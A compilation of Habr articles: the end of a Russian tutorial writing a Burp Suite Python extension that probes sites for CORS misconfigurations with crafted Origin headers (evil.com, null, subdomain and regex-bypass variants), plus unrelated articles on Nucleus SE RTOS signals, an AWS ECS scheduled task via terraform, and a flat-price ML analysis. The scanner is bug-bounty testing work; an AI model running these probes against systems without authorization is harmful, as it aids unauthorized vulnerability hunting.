5. Описание уязвимости из пейлоада
6. Severity, так же из пейлоада
После чего прерываем цикл, чтобы не проверять остальные заголовки, мы уже нашли все, что нужно.
Так же вернемся немного в начало и добавим описание уязвимости, если вдруг у нас `Access-Control-Allow-Origin: *`
```
if response_header == 'Access-Control-Allow-Origin: *':
return CustomScanIssue(
baseRequestResponse.getHttpService(),
request_url,
[baseRequestResponse],
'CORS Misconfiguration',
'Site trust *',
'Medium'
)
```
Сделаем мы это для того, чтобы зря не сканировать URL, так как в `Allow-Origin` у нас wildcard.
Дополнительно так же нужно определить метод `consolidateDuplicateIssues`. Он будет вызываться чтобы не дублировать уязвимость, если такая уже была найдена для данного URL.
```
def consolidateDuplicateIssues(self, existingIssue, newIssue):
if existingIssue.getIssueDetail() == newIssue.getIssueDetail():
return -1
return 0
```
Так как названия у нас одинаковые, то будем сравнивать по описанию. Если нашли уязвимость с таким же описание на одном и том же URL - просто проигнорируем.
Финальный скрипт выглядит так:
cors-scanner.py
```
from burp import IBurpExtender, IScannerCheck, IScanIssue
from java.io import PrintWriter
import sys
try:
from exceptions_fix import FixBurpExceptions
except ImportError:
pass
class BurpExtender(IBurpExtender, IScannerCheck):
def registerExtenderCallbacks(self, callbacks):
sys.stdout = PrintWriter(callbacks.getStdout(), True)
self._callbacks = callbacks
self._helpers = callbacks.getHelpers()
callbacks.setExtensionName('CORS Passive Scanner')
callbacks.registerScannerCheck(self)
def _add_origin(self, headers, value):
headers = list(headers)
headers.append('Origin: {}'.format(value))
return headers
def _generate_payloads(self, url):
host = url.getHost()
protocol = url.getProtocol()
payloads = {}
# trust any origin
payload_url = '{}://evil.com'.format(protocol)
payloads['trust_any_origin'] = {'origin': payload_url, 'description': 'Site trust any origin', 'severity': 'High'}
# trust any subdomain
payload_url = '{}://evil.{}'.format(protocol, host)
payloads['trust_any_subdomain'] = {'origin': payload_url, 'description': 'Site trust any subdomain', 'severity': 'High'}
# trust insecure protocol
if protocol == 'https':
payload_url = 'http://evil.{}'.format(host)
payloads['trust_http'] = {'origin': payload_url, 'description': 'Site trust insecure protocol', 'severity': 'Medium'}
# trust null
payload_url = 'null'
payloads['trust_null'] = {'origin': payload_url, 'description': 'Site trust null origin', 'severity': 'High'}
# prefix match full url
payload_url = '{}://{}.evil.com'.format(protocol, host)
payloads['trust_prefix'] = {'origin': payload_url, 'description': 'Site trust prefix', 'severity': 'High'}
# trust invalid regex dot escape
splitted_host = host.split('.')
payload_host = '{}A{}.{}'.format('.'.join(splitted_host[:-1]), splitted_host[-1], splitted_host[-1])
payload_url = '{}://{}'.format(protocol, payload_host)
payloads['trust_invalid_regex'] = {'origin': payload_url, 'description': 'Site trust origin with unescaped dot', 'severity': 'High'}
return payloads
def doPassiveScan(self, baseRequestResponse):
response_headers = list(self._helpers.analyzeResponse(baseRequestResponse.getResponse()).getHeaders())
for response_header in response_headers:
if 'Access-Control-Allow-Origin' in response_header or 'Access-Control-Allow-Credentials' in response_header:
request_url = self._helpers.analyzeRequest(baseRequestResponse).getUrl()
request_headers = self._helpers.analyzeRequest(baseRequestResponse).getHeaders()
if response_header == 'Access-Control-Allow-Origin: *':
return CustomScanIssue(
baseRequestResponse.getHttpService(),
request_url,
[baseRequestResponse],
'CORS Misconfiguration',
'Site trust any origin',
'Medium'
)
issues = []
payloads = self._generate_payloads(request_url)
for payload in payloads.values():
payload_headers = self._add_origin(request_headers, payload['origin'])
body_offset = self._helpers.analyzeRequest(baseRequestResponse).getBodyOffset()
request_body = baseRequestResponse.getRequest()[body_offset:]
if len(request_body) == 0:
request = self._helpers.buildHttpMessage(payload_headers, None)
else:
request = self._helpers.buildHttpMessage(payload_headers, request_body)
response = self._callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), request)
response_headers = list(self._helpers.analyzeResponse(response.getResponse()).getHeaders())
for response_header in response_headers:
if 'Access-Control-Allow-Origin' in response_header:
issues.append(
CustomScanIssue(
baseRequestResponse.getHttpService(),
request_url,
[response],
'CORS Misconfiguration',
payload['description'],
payload['severity']
)
)
break
return issues
def consolidateDuplicateIssues(self, existingIssue, newIssue):
if existingIssue.getIssueDetail() == newIssue.getIssueDetail():
return -1
return 0
class CustomScanIssue(IScanIssue):
def __init__(self, httpService, url, httpMessages, name, detail, severity):
self._httpService = httpService
self._url = url
self._httpMessages = httpMessages
self._name = name
self._detail = detail
self._severity = severity
self._confidence = 'Certain'
def getUrl(self):
return self._url
def getIssueName(self):
return self._name
def getIssueType(self):
return 0
def getSeverity(self):
return self._severity
def getConfidence(self):
return self._confidence
def getIssueBackground(self):
return None
def getRemediationBackground(self):
return None
def getIssueDetail(self):
return self._detail
def getRemediationDetail(self):
return None
def getHttpMessages(self):
return self._httpMessages
def getHttpService(self):
return self._httpService
try:
FixBurpExceptions()
except:
pass
```
На этом все, время устанавливать и тестировать наше творение.
Загружаем расширение в Burp
---------------------------
Тут все просто - открываем вкладку Extender, далее вкладка Extensions -> Add.
Extension type - естественно, Python
Extension file - выбираем наш файл
Жмем Next, начнется загрузка расширения. Должно появится сообщение, что расширение загружено успешно. Можем тестировать
Тестирование
------------
Буквально во время написания статьи пришло уведомление с HackerOne о том, что была закрыта зарепорченая мной CORS misconfiguration, при которой сайт проверял только префикс Origin, так что такой пример не удалось показать.
Не будем далеко ходить - проведем наши тесты прям в лабах PortSwigger.
Первая из них - [Origin Reflect](https://portswigger.net/web-security/cors/lab-basic-origin-reflection-attack). Ничего сложного, уязвимость присутствует в принципе всегда. Открываем лабу, логинимся в наш аккаунт под `wiener:peter`. Включаем прокси в браузере, обновляем нашу страницу, в которую мы залогинились. Как ни странно, ловим сразу 6 High репортов.
Сработали все 6 пейлоадов, что верно[Вторая лаба](https://portswigger.net/web-security/cors/lab-null-origin-whitelisted-attack) - уязвимость, когда сайт доверяет `Origin: null`
Мы такую нагрузку делали, поэтому просто заходим в аккаунт под `wiener:peter`. Не удивляясь, ловим уязвимость
null originПоследняя [третья лаба](https://portswigger.net/web-security/cors/lab-breaking-https-attack) - на доступ с небезопасного протокола. Это как раз тот спорный момент, о котором я говорил. Логинимся в аккаунт, получаем это:
Medium, как и было задуманоМожно проверить работу так же на настоящих сайтах (хотя, от лабы ничего не будет отличаться), но как я уже сказал, найденную мной хорошую уязвимость закрыли, так что глянем на другой субдомен этого же таргета, но уязвимость будет другого типа, а именно сайт разрешает запросы с любых субдоменов. Она существует потому что использовать ее нелегко, требуется либо XSS на субдомене, либо subdomain-takeover. Заходим на уязвимый URL, видим результат:
Репорт в dashboardЗаголовки ответаИтоги
-----
В этой статье я рассказал о процессе создания расширений для Burp Suite на языке Python. Я далеко не самый лучший разработчик расширений под него, да и сам процесс дело затруднительное. Возможно, я допустил некоторые ошибки в названиях либо в логике работы. Сказывается отсутствие опыта в Java и отсутствие документации для Python. Тем не менее, мы получили желаемое - а именно рабочее расширение для таких типов уязвимости как CORS misconfiguration. На мой взгляд - данная уязвимость гораздо интереснее, чем пресловутая XSS, и легче в исполнении. Однако импакт, которого можно достичь, достаточно велик. Я сканирую CORS всегда и везде, достаточно одной ошибки и в кармане уже Information Disclosure или сразу OTA.
Сканер такого рода уязвимостей для Burp - вещь несомненно хорошая, тем более расширения для CORS по какой-то причине отсутствуют в магазине (либо я не заметил).
Burp - отличный инструмент для хобби и заработка. Багхантеры знают, насколько высока бывает конкуренция, и автоматизация всего что можно в этом играет огромную роль. Я находил ошибки в известных компаниях только потому что автоматизирую все процессы, зачастую просматривая результаты автоматического сканирования и изучая руками.
Читателям - спасибо за то, что читали, багхантерам - удачи!
Никогда не переставайте учиться и изучать новые инструменты. | https://habr.com/ru/post/546476/ | null | ru | null |
# Вся правда об ОСРВ. Статья #16. Сигналы
В этой статье будут рассмотрены сигналы, которые являются простейшими механизмами взаимодействия между задачами в Nucleus SE. Они предоставляют малозатратный способ передачи простых сообщений между задачами.
Предыдущие статьи серии:
[Статья #15. Разделы памяти: службы и структуры данных](https://habr.com/post/426477/)
[Статья #14. Разделы памяти: введение и базовые службы](https://habr.com/post/426425/)
[Статья #13. Структуры данных задач и неподдерживаемые вызовы API](https://habr.com/post/425353/)
[Статья #12. Службы для работы с задачами](https://habr.com/post/424713/)
[Статья #11. Задачи: конфигурация и введение в API](https://habr.com/post/424481/)
[Статья #10. Планировщик: дополнительные возможности и сохранение контекста](https://habr.com/post/423967/)
[Статья #9. Планировщик: реализация](https://habr.com/post/422615/)
[Статья #8. Nucleus SE: внутреннее устройство и развертывание](https://habr.com/post/422617/)
[Статья #7. Nucleus SE: введение](https://habr.com/post/418601/)
[Статья #6. Другие сервисы ОСРВ](https://habr.com/post/418677/)
[Статья #5. Взаимодействие между задачами и синхронизация](https://habr.com/post/415429/)
[Статья #4. Задачи, переключение контекста и прерывания](https://habr.com/post/415427/)
[Статья #3. Задачи и планирование](https://habr.com/post/415329/)
[Статья #2. ОСРВ: Структура и режим реального времени
Статья #1. ОСРВ: введение.](https://habr.com/post/414093/)
Использование сигналов
----------------------
Сигналы отличаются от всех других типов объектов ядра тем, что они не автономны: сигналы связаны с задачами и без них существовать не могут. Если приложение сконфигурировано на использование сигналов, то у каждой задачи имеется набор из восьми сигнальных флагов.
Любая задача может устанавливать сигналы другой задачи. Считывать сигналы может только задача-владелец сигнала. В процессе чтения сигналы сбрасываются. Задачи не могут читать или сбрасывать сигналы других задач.
В Nucleus RTOS существует средство, которое позволяет задачам назначать функции, которые запускаются, когда другая задача устанавливает один или более сигнальных флагов. Это чем-то напоминает процедуру обработки прерывания. Такая возможность не поддерживается в Nucleus SE, здесь задачи должны запрашивать сигнальные флаги явным образом.
Настройка сигналов
------------------
Как и в большинстве объектов Nucleus SE, настройка сигналов определяется директивами **#define** в **nuse\_config.h**. Основным параметром является **NUSE\_SIGNAL\_SUPPORT**, который активирует поддержку функциональности (для всех задач в приложении). Вопрос об указании числа сигналов не стоит: на каждую задачу выделяется по 8 флагов.
Установка этого разрешающего параметра служит главным активатором сигналов. Это обеспечивает строго определенную структуру данных, имеющую соответствующий размер. Кроме того, этот параметр активирует настройки API.
### Активация вызовов API
Каждая функция API (служебный вызов) в Nucleus SE активируется директивой **#define** в **nuse\_config.h**. Для сигналов к ним относятся:
```
NUSE_SIGNALS_SEND
NUSE_SIGNALS_RECEIVE
```
По умолчанию, им присвоено значение **FALSE**, отключая, таким образом, каждый служебный вызов и препятствуя включению реализующего их кода. Для настройки сигналов в приложении необходимо выбрать нужные вызовы API и присвоить соответствующим директивам значение **TRUE**.
Ниже приведена выдержка из файла **nuse\_config.h** по умолчанию:
```
#define NUSE_SIGNAL_SUPPORT FALSE /* Enables support for signals */
#define NUSE_SIGNALS_SEND FALSE /* Service call enabler */
#define NUSE_SIGNALS_RECEIVE FALSE /* Service call enabler */
```
Активированная функция API при выключенной поддержке средств сигналов приведет к ошибке компиляции. Если ваш код использует вызов API, который не был активирован, возникнет ошибка компоновки, так как код реализации не был включен в приложение. Само собой, включение двух функций API в некотором роде излишне, так как в активировании поддержки сигналов нет смысла при отсутствии этих API. Активаторы были добавлены для совместимости с другими функциями Nucleus SE.
Служебные вызовы сигналов
-------------------------
Nucleus RTOS поддерживает четыре служебных вызова относящихся к сигналам, которые предоставляют следующий функционал:
* Отправка сигналов заданной задаче. В Nucleus SE реализовано в функции **NUSE\_Signals\_Send()**.
* Прием сигналов. В Nucleus SE реализовано в функции **NUSE\_Signals\_Receive()**.
* Регистрация обработчика сигналов. Не реализовано в Nucleus SE.
* Включение/отключение (управление) сигналами. Не реализовано в Nucleus SE.
Реализация каждого из этих вызовов подробно рассматривается ниже.
Службы отправки и принятия сигналов
-----------------------------------
Фундаментальные операции, которые могут быть выполнены над набором сигналов задачи – отправка данных (может быть выполнено любой задачей) и чтение данных (следовательно, и очищение данных, может быть выполнено только задачей-владельцем). Nucleus RTOS и Nucleus SE предоставляют два базовых вызова API для этих операций, которые будут описаны ниже.
Так как сигналы являются битами, их лучше всего визуализировать как двоичные числа. Так как стандарт С исторически не поддерживает представление двоичных констант (только восьмеричных и шестнадцатеричных), Nucleus SE имеет полезный заголовочный файл **nuse\_binary.h**, который содержит символы **#define** вида **b01010101** для всех 256 8-битных значений. Ниже приведена выдержка из файла **nuse\_binary.h**:
```
#define b00000000 ((U8) 0x00)
#define b00000001 ((U8) 0x01)
#define b00000010 ((U8) 0x02)
#define b00000011 ((U8) 0x03)
#define b00000100 ((U8) 0x04)
#define b00000101 ((U8) 0x05)
```
### Отправка сигналов
Любая задача может отправлять сигналы любой другой задаче в приложении. Отправка сигналов подразумевает установку одного или нескольких сигнальных флагов. Это операция ИЛИ (OR), которая не влияет на установленные ранее флаги.
***Вызов для отправки сигналов в Nucleus RTOS***
Прототип служебного вызова:
**STATUS NU\_Send\_Signals(NU\_TASK \*task, UNSIGNED signals);**
Параметры:
**task** – указатель на блок управления задачи, которому принадлежат устанавливаемые сигнальные флаги;
**signals** – значение устанавливаемых сигнальных флагов.
Возвращаемое значение:
**NU\_SUCCESS** – вызов был успешно завершен;
**NU\_INVALID\_TASK** – некорректный указатель на задачу;
***Вызов для отправки сигналов в Nucleus SE***
Этот вызов API поддерживает основной функционал Nucleus RTOS API.
Прототип служебного вызова:
**STATUS\_NUSE\_Signals\_Send(NUSE\_TASK task, U8 signals);**
Параметры:
**task** – индекс (ID) задачи, которой принадлежат устанавливаемые сигнальные флаги;
**signals** – значение устанавливаемых сигнальных флагов.
Возвращаемое значение:
**NUSE\_SUCCESS** – служебный вызов был успешно завершен;
**NUSE\_INVALID\_TASK** – некорректный индекс задачи.
***Реализация отправки сигналов в Nucleus SE***
Ниже представлен полный код функции NUSE\_Signals\_Send():
```
STATUS NUSE_Signals_Send(NUSE_TASK task, U8 signals)
{
#if NUSE_API_PARAMETER_CHECKING
if (task >= NUSE_TASK_NUMBER)
{
return NUSE_INVALID_TASK;
}
#endif
NUSE_CS_Enter();
NUSE_Task_Signal_Flags[task] |= signals;
NUSE_CS_Exit();
return NUSE_SUCCESS;
}
```
Код очень прост. После любой проверки параметров значения сигналов проходят через операцию ИЛИ на сигнальные флаги указанной задачи. Блокировка задач на сигналы не влияет.
### Прием сигналов
Задача может читать только собственный набор сигнальных флагов. В процессе чтения значения флагов сбрасываются.
***Вызов для приема сигналов в Nucleus RTOS***
Прототип служебного вызова:
**UNSIGNED NU\_Receive\_Signals(VOID);**
Параметры: отсутствуют.
Возвращаемое значение:
Значения сигнальных флагов.
***Вызов для приема сигналов в Nucleus SE***
Этот вызов API поддерживает ключевой функционал Nucleus RTOS API.
Прототип служебного вызова:
**U8 NUSE\_Signals\_Receive(void);**
Параметры: отсутствуют.
Возвращаемое значение:
Значения сигнальных флагов.
***Реализация приема сигналов Nucleus SE***
Ниже приведен полный код функции **NUSE\_Signals\_Receive()**:
```
U8 NUSE_Signals_Receive(void)
{
U8 signals;
NUSE_CS_Enter();
Signals = NUSE_Task_Signal_Flags[NUSE_Task_Active];
NUSE_Task_Signal_Flags[NUSE_Task_Active] = 0;
NUSE_CS_Exit();
return signals;
}
```
Код очень прост. Значение флагов копируется, начальное значение сбрасывается, а копия возвращается функцией API. Блокировка задач не влияет на сигналы.
Структуры данных
----------------
Так как сигналы не являются самостоятельными объектами, использование памяти зависит от задач, которым они принадлежат. Ниже приведена некоторая информация для полноты понимания. Сигналы используют одну структуру данных (в ОЗУ), которая, как и другие объекты Nucleus SE, является таблицей, размеры которой соответствуют количеству задач в приложении. Эта структура данных используется только если включена поддержка сигналов.
Я настоятельно рекомендую чтобы код приложения не обращался к этой структуре данных напрямую, а использовал имеющиеся функции API. Это позволяет избежать несовместимости с будущими версиями Nucleus SE, нежелательных побочных эффектов, а также упрощает портирование приложения на Nucleus RTOS. Структура данных подробно рассмотрена ниже для упрощения понимания принципов работы служебных вызовов и отладки.
### Структура данных, размещаемых в ОЗУ
Структура данных:
**NUSE\_Task\_Signal\_Flags[]** – массив типа U8 с одной записью на каждую сконфигурированную задачу, в этом массиве хранятся сигнальные флаги.
Эта структура данных инициализируется нулями функцией **NUSE\_Init\_Task()** при загрузке Nucleus SE.
### Структура данных, размещаемых в ПЗУ
У сигналов отсутствуют структуры данных в ПЗУ.
### Объемы памяти для хранения данных сигналов
Как и для всех объектов ядра Nucleus SE, объем требуемой памяти для сигналов предсказуем.
Объем данных в ПЗУ для всех сигналов в приложении равен 0.
Объем памяти для хранения данных в ОЗУ (в байтах) для всех сигналов в приложении равен количеству сконфигурированных задач (**NUSE\_TASK\_NUMBER**). Но фактически, эти данные принадлежат задачам и описаны в предыдущей статье о задачах.
Нереализованные вызовы API
--------------------------
Два служебных вызова API сигналов из Nucleus RTOS не реализованы в Nucleus SE:
### Регистрация обработчика сигналов
Этот вызов API устанавливает процедуру обработки сигналов (функцию) для текущей задачи. В Nucleus SE в этом нет необходимости, так как обработчики сигналов не поддерживаются.
Прототип служебного вызова:
**STATUS NU\_Register\_Signal\_Handler(VOID(\*signal\_handler)(UNSIGNED));**
Параметры:
**signal\_handler** – функция, которая должна вызываться при приеме сигналов
Возвращаемое значение:
**NU\_SUCCESS** – вызов был успешно завершен;
**NU\_INVALID\_POINTER** – нулевой указатель на обработчик сигнала (**NULL**)
### Управление (активирование/деактивирование) сигналами
Эта служба активирует и/или деактивирует сигналы для текущей задачи. Для каждой задачи доступно 32 сигнала. Каждый сигнал представлен битом в **signal\_enable\_mask**. Добавление бита в **signal\_enable\_mask** включает соответствующий сигнал, а удаление бита его отключает.
Прототип служебного вызова:
**UNSIGNED NU\_Control\_Signals (UNSIGNED enable\_signal\_mask);**
Параметры:
**enable\_signal\_mask** – паттерн бит, представляющий корректные сигналы.
Возвращаемое значение:
Маска активирования/деактивирования предыдущего сигнала.
Совместимость с Nucleus RTOS
----------------------------
При разработке Nucleus SE моей целью было сохранить максимальный уровень совместимости программного кода с Nucleus RTOS. Сигналы не являются исключением, и, с точки зрения разработчика, они реализованы практически таким же образом, как и в Nucleus RTOS. Существуют некоторые несовместимости, которые я посчитал допустимыми, учитывая, что финальный код гораздо проще для понимания и может более эффективно использовать память. В остальном, вызовы Nucleus RTOS API могут быть практически напрямую перенесены на вызовы Nucleus SE.
### Обработчики сигналов
В Nucleus SE обработчики сигналов не реализованы для упрощения общей структуры.
### Доступность сигналов и их количество
В Nucleus RTOS задачи могут иметь по 32 сигнальных флага. В Nucleus SE я решил уменьшить их количество до восьми, так как этого будет достаточно для более простых приложений и позволяет экономить ресурсы ОЗУ. В случае необходимости сигналы могут быть полностью отключены.
### Нереализованные вызовы API
Nucleus RTOS поддерживает четыре служебных вызова для работы с сигналами. Из них, два не были реализованы в Nucleus SE. Их описание можно найти выше, в разделе «Нереализованные вызовы API».
**Об авторе:** Колин Уоллс уже более тридцати лет работает в сфере электронной промышленности, значительную часть времени уделяя встроенному ПО. Сейчас он — инженер в области встроенного ПО в Mentor Embedded (подразделение Mentor Graphics). Колин Уоллс часто выступает на конференциях и семинарах, автор многочисленных технических статей и двух книг по встроенному ПО. Живет в Великобритании. Профессиональный [блог Колина](http://blogs.mentor.com/colinwalls), e-mail: colin\_walls@mentor.com. | https://habr.com/ru/post/427439/ | null | ru | null |
# AWS ECS scheduled task using terraform
Всем привет.
Не так давно AWS добавил новую возможность запускать scheduled task, что как по мне, является весьма удобной фичей для выполнения некоторых задач. К сожалению, пока (надеюсь только пока) HashiCorp не добавила возможность управлять ними как ресурсом в terraform. Но есть способ как обойти эту (надеюсь) временную неприятность набором доступных в AWS сервисов и дальше я расскажу как это сделал я.
Решение которое я нашел это использовать AWS Cloudwatch Events, который будет запускать AWS ECS task, которое выполнится и завершится.
Ссылка на репозиторий с тераформ темплейтом: <https://github.com/dark4igi/ecs-scheduled-task-using-terraform-example>
В своем примере использую Fargate вариант запуска контейнеров, потому что так проще. Так же задание которое нужно выполнять это чтение таблицы DynamoDB и добавление в не новой записи со следующим Id и временем запуска контейнера, как по мне это отличный и наглядный пример, который не требует уникального имени как S3.
Вот пример кода который нужно выполнить по расписанию.
```
#!/bin/sh
jq --arg date "$(date)" --arg number "$(aws dynamodb scan --table-name "$TABLE" | jq .Count)" '.Id.N = ($number) | .Value.S = ($date)' template.json > item.json && echo 'generation done' || echo 'generation false'
aws dynamodb put-item --table-name "$TABLE" --item file://item.json && echo 'put done' || echo 'put false'
```
так же файл template.json
```
{
"Id": {
"N": ""
},
"Value": {
"S": ""
}
}
```
Dockerfile: закинуть скрирт и темплейт, добавить скрипту права на запуск, установить awscli и jq, CMD = script.sh
При запуске контейнера нужно передавать как аргумент название DynamoDB таблицы.
Для локального запуска нужно передавать еще и access\_key и secret\_key.
Для корректной работы наших ресурсов в AWS нам нужно создать роли для Cloudwatch Events, с возможностью запускать ECS task и роль для task, возможность работы с DynamoDB. Это описано в файле infra.tf и data.tf. Так же в infra.tf описано создание таблицы и кластера.
Так же нам потребуется Task definition, для запуска ECS task, описание в тех же файла.
Я использовал функцию terraform template\_file что бы не хардкодить название таблицы в task definition.
Еще для запуска нам нужно VPC, subnet(s) и security group. Я использовал дефолтные, получении их id описано в data.tf.
Ну и самое важное создание aws\_cloudwatch\_event\_rule и aws\_cloudwatch\_event\_target описано в scheduled\_task.tf
Для запуска и тестирования:
1. git clone
2. Раскомментировать и заполнить секцию provide
3. terraform init
4. terraform apply
После чего можно смотреть логи в Cloudwatch /ecs/cron-worker и проверять содержание DynamoDB таблицы.
P.S.:
* Решение демонстрационное и может иметь кучу косяков безопасности.
* Это моя первая статья и тоже может иметь кучу косяков. | https://habr.com/ru/post/589173/ | null | ru | null |
# Machine Learning for your flat hunt. Part 1
Have you ever looked for a flat? Would you like to add some machine learning and make a process more interesting?
Today we will consider applying Machine Learning for finding an optimal flat.
Introduction
------------
First of all, I want to clarify this moment and explain what "an optimal flat" does mean. It is a flat with a set of different characteristics like "area", "district", "number of balconies" and so on. And for these features of the flat, we expect a specific price. Looks like a function which takes several parameters and returns a number. Or maybe a black box which provides some magic.
But… there is big "but", sometimes you can face a flat which is overpriced because of a set of reasons like a good geo-position. Also, there are more prestigious districts in the centre of a city and districts outside the town. Or… sometimes people want to sell their apartments because they move to another point of Earth. In other words, there are many factors which can affect the price. Does it sound familiar?
Little step aside
-----------------
Before I continue, let me make a little lyrical digression.
I lived in the Yekaterinburg (the city between Europe and Asia, one of the cities which had held The Football World Championship in 2018) for 5 years.
I was in love with these concrete jungles. And I hated that city for winter and public transport. It is a growing city and every month there are thousands and thousands of flats to be sold.
Yes, it is an overcrowded, polluted city. At the same time - it is a good place for analysing a real estate market. I received a lot of advertisements for flats, from the Internet. And I will use that information to a further extent.
Also, I tried to visualize different offers on Yekaterinburg's map. Yes, it the catch-eye picture from habracut, it made on Kepler.gl
There are over 2 thousand 1-bedroom flat's which had been sold in July of 2019 in Yekaterinburg. They had a different price, from less than a million to almost 14 million roubles.
These points refer to their geo-position. Colour of points on the map represents the price, the lower is the price near to blue colour, the higher is the price near to red. You can consider it as an analogy with cold and warm colours, the warmer colour is the bigger is price.
Please, remember that moment, the redder is the colour, the higher is a value of something. The same idea works for blue but in the direction of the lowest price.
Now you are having a *general* overview of the picture and time to analyse is coming.
### Goal
What did I want when l lived in Yekaterinburg? I looked for a good enough flat, or if we talk in terms of ML - I wanted to build a model which will give me a recommendation about buying.
On the one hand, if a flat is overpriced, the model should recommend waiting for price decreasing by showing the expected price for that flat.
On the other hand - if a price is good enough, according to the market state - perhaps I should consider that offer.
Of course, there is nothing ideal and I was ready to accept a mistake in calculations. Usually, for this kind of task use mean error of prediction and I was ready to 10% error. For example, if you have 2–3 million Russian roubles, you can ignore mistake in 200–300 thousand, you can afford it. As it seemed to me.
Preparing
---------
As I mentioned before, there were a lot of apartments, let's look at them closely.
import pandas as pd
```
df = pd.read_csv('flats.csv')
df.shape
```
2310 flats for one month, we could extract something useful from that. What about a general data overview?
```
df.describe()
```
There is not something extraordinary - longitude, latitude, price of a flat(the label "*cost*"), and so on. Yes, for that moment I used "*cost*" instead of "*price*", I hope it will not lead to misunderstanding, please consider them as same.
Cleaning
--------
Does every record have the same meaning? Some of them are represented flats like a cubicle, you can work there, but you would not like to live there. They are small cramped rooms, not a real flat. Let remove them.
```
df = df[df.total_area >= 20]
```
Prediction price of flat comes from the oldest issues in economics and related fields. There was nothing related to the term "ML" and people tried to guess price based on square meters/feet.
So, we look at these columns/labels and try to get the distribution of them.
```
numerical_fields = ['total_area','cost']
for col in numerical_fields:
mask = ~np.isnan(df[col])
sns.distplot(df[col][mask], color="r",label=col)
plot.show()
```
Well… there is nothing special, looks like a normal distribution. Perhaps we need to go deeper?
```
sns.pairplot(df[numerical_fields])
```
Oops… something wrong is there. Clean outliers in these fields and try to analyse our data again.
```
#Remove outliers
df = df[abs(df.total_area - df.total_area.mean()) <= (3 * df.total_area.std())]
df = df[abs(df.cost - df.cost.mean()) <= (3 * df.cost.std())]
#Redraw our data
sns.pairplot(df[numerical_fields])
```
Outliers have gone, and now it looks better.
Transformation
--------------
The label "year", which is pointed at a year of construction should be transformed into something more informative. Let it be the age of building, in other words how a specific house is old.
```
df['age'] = 2019 -df['year']
```
Let have a look at the result.
```
df.head()
```
There are all kinds of data, categorical, Nan-values, text-description and some geo-information (longitude and latitude). Let us put aside the last ones because on that stage they useless. We will back to them later.
```
df.drop(columns=["lon","lat","description"],inplace=True)
```
### Categorical data
Usually, for categorical data, people use different kinds of encoding or things like CatBoost which provide an opportunity to work with them as with numerical variables.
But, could we use something more logical and more intuitive? Now is time for making our data more understandable without losing the meaning of them.
### Districts
Well, there are over twenty possible districts, could we add over 20 additional variables in our model? Of course, we could, but… should we? We are people and we could compare things, is not it?
First of all - not every district is equivalent to another. In the centre of city prices for one square meter is higher, further from downtown - it becomes to decrease. Does it sound logical? Could we use that?
Yes, definitely we could match any district with a specific coefficient and the further district is the cheaper flats are.
After matching the city and using another web service map(ArcGIS Online) changed and has a similar view
I used the same idea as for flat's visualization. The most "prestigious" and "expensive" district coloured in red and the least - blue. A colour temperature, do you remember about it?
Also, we ought to do some manipulation over our dataframe.
```
district_map = {'alpha': 2,
'beta': 4,
...
'delta':3,
...
'epsilon': 1}
df.district = df.district.str.lower()
df.replace({"district": district_map}, inplace=True)
```
The same approach will be used for describing the internal quality of the flat. Sometimes it needs some repair, sometimes flat is quite well and ready for living. And in other cases, you should spend additional money on making it look better(to change taps, to paint walls). There also could be use coefficients.
```
repair = {'A': 1,
'B': 0.6,
'C': 0.7,
'D': 0.8}
df.repair.fillna('D', inplace=True)
df.replace({"repair": repair}, inplace=True)
```
By the way, about walls. Of course, it also influences to price of flat. Modern material is better than older, brick is better than concrete. Walls from wood is quite a controversial moment, perhaps it is a good choice for the countryside, but not so good for urban life.
We use the same approach as before, plus make a suggestion about rows we do not know anything. Yes, sometimes people do not provide all the information about their flat. Furthermore, based on history we can try to guess about the material of walls. In a specific period of time (for example period Khrushchev's leading) - we know about typical material for building.
```
walls_map = {'brick': 1.0,
...
'concrete': 0.8,
'block': 0.8,
...
'monolith': 0.9,
'wood': 0.4}
mask = df[df['walls'].isna()][df.year >= 2010].index
df.loc[mask, 'walls'] = 'monolith'
mask = df[df['walls'].isna()][df.year >= 2000].index
df.loc[mask, 'walls'] = 'concrete'
mask = df[df['walls'].isna()][df.year >= 1990].index
df.loc[mask, 'walls'] = 'block'
mask = df[df['walls'].isna()].index
df.loc[mask, 'walls'] = 'block'
df.replace({"walls": walls_map}, inplace=True)
df.drop(columns=['year'],inplace=True)
```
Also, there is information about the balcony. In my humble opinion - the balcony is a really useful thing, so I could not help myself considering it.
Unfortunately, there are some null values. If the author of an advertisement had checked information about it, we would have more realistic information.
Well, if there is no information it will mean "there is not a balcony".
```
df.balcony.fillna(0,inplace=True)
```
After that, we drop columns with information about the year of building(we have a good alternative for its). Also, we remove column with information about the type of building because it has a lot of NaN-values and I have not found any opportunity to fill these gaps. And we drop all rows with NaN which we have.
```
df.drop(columns=['type_house'],inplace=True)
df = df.astype(np.float64)
df.dropna(inplace=True)
```
Checking
--------
So… we used a not standard approach and replace categorical values to their numerical representation. And now we finished with a transformation of our data.
A part of the data has been dropped, but in general, it is a quite good dataset. Let look at the correlation between independent variables.
```
def show_correlation(df):
sns.set(style="whitegrid")
corr = df.corr() * 100
# Select upper triangle of correlation matrix
mask = np.zeros_like(corr, dtype=np.bool)
mask[np.triu_indices_from(mask)] = True
# Set up the matplotlib figure
f, ax = plt.subplots(figsize=(15, 11))
# Generate a custom diverging colormap
cmap = sns.diverging_palette(220, 10)
# Draw the heatmap with the mask and correct aspect ratio
sns.heatmap(corr, mask=mask, cmap=cmap, center=0,
linewidths=1, cbar_kws={"shrink": .7}, annot=True,
fmt=".2f")
plot.show()
# df[columns] = scale(df[columns])
return df
df1 = show_correlation(df.drop(columns=['cost']))
```
Erm… it became very interesting.
**Positive correlation**
*Total area - balconies*. Why not? If our flat is big there will be a balcony.
**Negative correlation**
*Total area - age*. The newer is flat, the bigger is an area for living. Sound logical, new are more spacious flat than older ones.
*Age - balcony*. The older is flat the fewer balconies it has. Seem like a correlation through another variable. Perhaps it is a triangle Age-Balcony-Area where one variable has an implicit influence on another. Put that on hold for a time.
*Age - district.* The older flat is the big probability that will be placed in the more prestigious districts. Could it be related to higher price near the centre?
Also, we could see the correlation with the dependent variable
```
plt.figure(figsize=(6,6))
corr = df.corr()*100.0
sns.heatmap(corr[['cost']],
cmap= sns.diverging_palette(220, 10),
center=0,
linewidths=1, cbar_kws={"shrink": .7}, annot=True,
fmt=".2f")
```
Here we go…
The very strong correlation between the area of flat and price. If you want to have a bigger place for living it will require more money.
There is a negative correlation between pairs "*age/cost*" and "*district/cost*". A flat in a newer house less affordable than the old one. And in the countryside flats are cheaper.
Anyhow, it seems clear and understandable, so I decided to go with it.
Model
-----
